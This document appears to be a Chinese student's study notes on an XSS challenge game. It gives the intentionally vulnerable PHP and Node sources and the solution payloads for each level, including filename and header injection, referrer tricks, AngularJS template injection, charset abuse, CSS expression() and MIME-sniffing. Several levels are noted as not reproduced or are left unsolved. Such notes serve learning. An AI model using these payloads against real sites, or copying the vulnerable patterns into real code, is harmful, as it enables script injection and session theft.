先知xss挑战赛学习笔记

xss游戏

游戏地址：http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/

1. 文件上传

源码如下

<?php

header("X-XSS-Protection: 0");

$target_dir = "uploads/";

$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);

$uploadOk = 1;

$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);

// Check if image file is a actual image or fake image

if(isset($_POST["submit"])) {

    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);

    if($check !== false) {

        echo "File is an image - " . $check["mime"] . ".<BR>";

        $uploadOk = 1;

    } else {

        echo "File is not an image.";

        $uploadOk = 0;

    }

}

// Check if file already exists

if (file_exists($target_file)) {

    echo "Sorry, file already exists.";

    $uploadOk = 0;

}

// Check file size

if ($_FILES["fileToUpload"]["size"] > 500000) {

    echo "Sorry, your file is too large.";

    $uploadOk = 0;

}

// Allow certain file formats

if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"

&& $imageFileType != "gif" ) {

    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";

    $uploadOk = 0;

}

// Check if $uploadOk is set to 0 by an error

if ($uploadOk == 0) {

    echo "Sorry, your file was not uploaded.";

// if everything is ok, try to upload file

} else {

        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";

}

?>

解答

文件名进行xss，构造恶意页面

<html>

<body>

    <form id="xss" action="http://127.0.0.1/xss/target/1.php" method="POST" enctype="multipart/form-data">

      <textarea type="text" id="vulnerable" value="" /></textarea>

    </form>

 <script>

 var tarfile = "test";

 var vuln = document.getElementById('vulnerable');

 vuln.name = "x\"; name=fileToUpload; filename=\"<img src=1 onerror=alert(document.domain)>.jpg";

 vuln.value = (tarfile);

 document.getElementById("xss").submit();

 </script>

</body>

</html>

2. getallheaders()

源码

<?php

header('Pragma: cache');

header("Cache-Control: max-age=".(60*60*24*100));

header("X-XSS-Protection: 0");

?>

<html>

<head>

<meta charset=utf-8>

<head>

<body>

<?php

if(isset($_SERVER['HTTP_REFERER']))

{

echo "Bad Referrer!";

}

else

{

foreach (getallheaders() as $name => $value) {

    echo "$name: $value\n";

}

}

?>

</body>

</html>

解答

也就是浏览器会对网页进行缓存，那么如果第一次我能够修改http头然后再进行跨域请求，第二次再请求一次的时候，http的信息还是不会变的，因为直接读取了本地缓存内容.

所以可以使用Fetch先请求，在利用iframe框架进行第二请求，另外注意的就是需要通过meta标签来设置一下referrer，也就是第二次iframe加载的时候是不带referer的.按道理可以在FF下面也成功，不过好像FF不支持meta这样禁止referer

<html>

<head>

<meta name="referrer" content="never">

<script>

var request = new Request('http://xianzhi.aliyun.com/xss2.php', {

  method: 'GET',

  mode: 'no-cors',

  redirect: 'follow',

  headers: new Headers({

    'Content-Type': 'text/plain',

    'Accept': 'application/jsona<img src=1 onerror=alert(document.domain)>',

  })

});

fetch(request).then(function() {

  console.log(1);

});

</script>

</head>

<body>

<iframe src="http://xianzhi.aliyun.com/xss2.php"></iframe>

</body>

</html>

3. json

源码

<?php

header("Content-Type:application/json;charset=utf-8");

header("X-XSS-Protection: 0");

echo '{"errno":0,"error":"","data":{"user":{"id":"2","user_name":"\u4e13\u4e1a\u6295\u8d44\u4ebafh","email":"","mobile":"139****0002","intro":"'.$_GET["value"].'","address":null,"photo":"\/avatar\/000\/00\/00\/02virtual_avatar_big.jpg","user_uuid":"779ab6bd7e2df90c37f1e892","header_url":"\/avatar\/000\/00\/00\/02virtual_avatar_big.jpg","user_id":"2","is_real_name":0,"is_real_name_string":"\u672a\u5b9e\u540d\u8ba4\u8bc1","real_name":"\u5c24\u6654","is_investor":0,"is_leader_investor":1,"cetificate_id":"511********4273","focus_area":["\u91d1\u878d:\u91c7\u8d2d\u7269\u6d41:\u80fd\u6e90\u73af\u4fdd:\u6cd5\u5f8b\u6559\u80b2:"],"third_party":[{"openid":"1212","type":1,"is_band":1},{"openid":"2oiVL4wNxso9ttarGMIoVa1q-w8kU","type":1,"is_band":1}]}}}'

?>

解答

3.html

<meta charset=utf-8>

<iframe id=x src=3.php></iframe>

<script>

x.location.reload();

</script>

3.php

<?php

header("location: http://xianzhi.aliyun.com/xss3333.php?value=%3Cimg%20src=x%20onerror=alert(document.domain)%3E");

?>

IE8复现失败...

4. referrer

源码如下

<?php

header("X-XSS-Protection: 0");

?>

<html>

<head>

<meta charset="utf-8">

</head>

<body>

<?php echo "你来自".$_SERVER['HTTP_REFERER'];?>

</body>

</html>

解答

第一种:

data:text/html,<meta name="referrer" content="always"><script>if(location.protocol!='data:'){alert(1)}else{location.href="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php"}</script>

第二种 :



<html>

<script>

window.location.href="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php";

</script>

</html>

这种在IE下有效，由于chrome和firefox 会对尖括号进行url编码，导致无效

构造链接:

http://xss_referrer.html?<script>alert("1")</script>

5. 跳转

跳转

<?php

header("X-XSS-Protection: 0");

$url=str_replace(urldecode("%00"),"",$_GET["url"]);

$url=str_replace(urldecode("%0d"),"",$url);

$url=str_replace(urldecode("%0a"),"",$url);

header("Location: ".$url);

?>

<html>

<head>

<meta charset="utf-8">

</head>

<body>

<?php echo "<a href='".$url."'>如果跳转失败请点我</a>";?>

</body>

</html>

解答

若使用的端口小于80，则浏览器不会进行跳转

http://127.0.0.1/xss/target/5.php?url=http://baidu.com:0/'%3E<img src=1 onerror=alert(document.domain)><a>

ie8成功

6.强制下载

源码

<?php

header("X-XSS-Protection: 0");

header('Content-Disposition: attachment; filename="'.$_GET["filename"].'"');

if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)

{

$opts = array('http' =>

    array(

        'method' => 'GET',

        'max_redirects' => '0',

        'ignore_errors' => '1'

    )

);

$context = stream_context_create($opts);

$url=str_replace("..","",$_GET["url"]);

$stream = fopen($url, 'r', false, $context);

echo stream_get_contents($stream);

}

else

{

echo "Bad URL!";

}

?>

解答

为PHP的header函数一旦遇到\0、\r、\n这三个字符，就会抛出一个错误，此时Location头便不会返回，浏览器也就不会跳转

7. text/plain

源码

<?php

header("X-XSS-Protection: 0");

header('Content-Type: text/plain; charset=utf-8');

if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)

{

$opts = array('http' =>

    array(

        'method' => 'GET',

        'max_redirects' => '0',

        'ignore_errors' => '1'

    )

);

$context = stream_context_create($opts);

$url=str_replace("..","",$_GET["url"]);

$stream = fopen($url, 'r', false, $context);

echo stream_get_contents($stream);

}

else

{

echo "Bad URL!";

}

?>

解答：

通过在图片中插入恶意代码，然后把图片的地址参数赋予url参数，只在IE下有效

payload:

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss7.php?url=https://homemadecode.de/security_logo_string.jpg

9. plaintext

源码

<?php

header("X-XSS-Protection: 0");

header("Content-Type: text/html;charset=gb3212");

?>

<plaintext><?php echo $_GET["text"];?>

解答

又没有成功复现，这里直接给个IE的exp

9.php?text=<meta http-equiv="content-Type" content="text/html; charset=cp1025">%4c%89%94%87%01%a2%99%83%7e%f1%01%96%95%85%99%99%96%99%7e%81%93%85%99%a3%4d%f1%5d%0b%6e

10. MVM

源码

<html ng-app>

<head>

<meta charset=utf-8>

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.5/angular.js"></script>

</head>

<body>

<input id="username" name="username" tabindex="1" ng-model="username" ng-init="username='<?php if(strlen($_GET["username"])<37){echo htmlspecialchars($_GET["username"]);}?>'" placeholder="username" maxlength="11" type="text">

</body>

</html>

解答

Client Side Template Injection

?username=%7B%7B%5B%5D.pop.constructor(%27alert(1)%27)()%7D%7D

11. HOST

源码

"use strict";

var http = require('http');

(function(){

    http.createServer(function (req, res) {

            res.writeHead( 200, { "Content-Type" : "text/html;charset=utf-8", "X-XSS-Protection" : "0" } );

            res.end( '<html><head><title>' + req.headers["host"] + '</title></head><body>It works!</body></html>' );

    }).listen(80);

    console.log( "Running server on port 80" );

})();

这啥啊。。。

12. preview

源码

<?php

    # the request

    $ch = curl_init($_GET["url"]);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    curl_exec($ch);

    # get the content type

    $mime = array("application/octet-stream","application/postscript","application/x-cdf","application/x-compressed","application/x-zip-compressed","audio/basic","audio/wav","audio/x-aiff","video/avi","video/mpeg","video/x-msvideo","image/png","image/jpeg","image/gif");

    if (in_array(curl_getinfo($ch, CURLINFO_CONTENT_TYPE), $mime)) {

    header("Content-Type:".curl_getinfo($ch, CURLINFO_CONTENT_TYPE));

    //header("X-Content-Type-Options: nosniff");

    echo curl_exec($ch);

    }

    # output

    // text/html; charset=ISO-8859-1

?>

解答

当服务器指定的不是一个正确的content-type头时，IE为了兼容这些文件类型，会将文件的前256个字节和已知的文件头进行比较，然后得到一个结果...也就是作为开头的话，会被认为是 text/html

恶意页面

<?php

header("Content-Type: application/octet-stream");

?>

<html><script>alert(document.domain)</script></html>

http://127.0.0.1/xss/target/12.php?url=http://127.0.0.1/xss/12.php

ie8 复现失败

13. REQUEST_URI

源码

<?php

header("X-XSS-Protection: 0");

echo "REQUEST_URI:".$_SERVER['REQUEST_URI'];

?>

解答

$_SERVER['REQUEST_URI']：访问此页面所需的 URI

payload:

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss13.php?<script>alert(1)</script>

PS:在IE浏览器下触发,不会进行编码

二解：

加一次跳IE不会进行编码

恶意页面：

<?php

header("Location: http://127.0.0.1/xss/target/13.php/<svg/onload=alert(document.domain)>");

IE8 复现失败

14. HIDDEN

源码如下：

<?php

header('X-XSS-Protection:0');

header('Content-Type:text/html;charset=utf-8');

?>

<head>

<meta http-equiv="x-ua-compatible" content="IE=10">

</head>

<body>

<form action=''>

<input type='hidden' name='token' value='<?php

  echo htmlspecialchars($_GET['token']); ?>'>

<input type='submit'>

</body>

解答

特定的浏览器才能绕过，在firefox下

<input type="hidden" accesskey="X" onclick="alert(1)">

然后按shift+alt+x 进行触发

IE6 下

<input type=hidden style=x:expression(alert(1))>

最后payload:

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss14.php?token=11' accesskey='X' onclick='alert(1)

16. PHP SELF

源码

<html>

<head>

<meta charset=utf-8>

<meta http-equiv="X-UA-Compatible" content="IE=10">

<link href="styles.css" rel="stylesheet" type="text/css" />

</head>

<body>

<img src="xss.png" style="display: none;">

<h1>

<?php

$output=str_replace("<","&lt;",$_SERVER['PHP_SELF']);

$output=str_replace(">","&gt;",$output);

echo $output;

?>

</h1>

</body>

</html>

解答

payload:

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss16.php/}*{xss:expression(open(alert(1)))}/

需要IE10才能复现。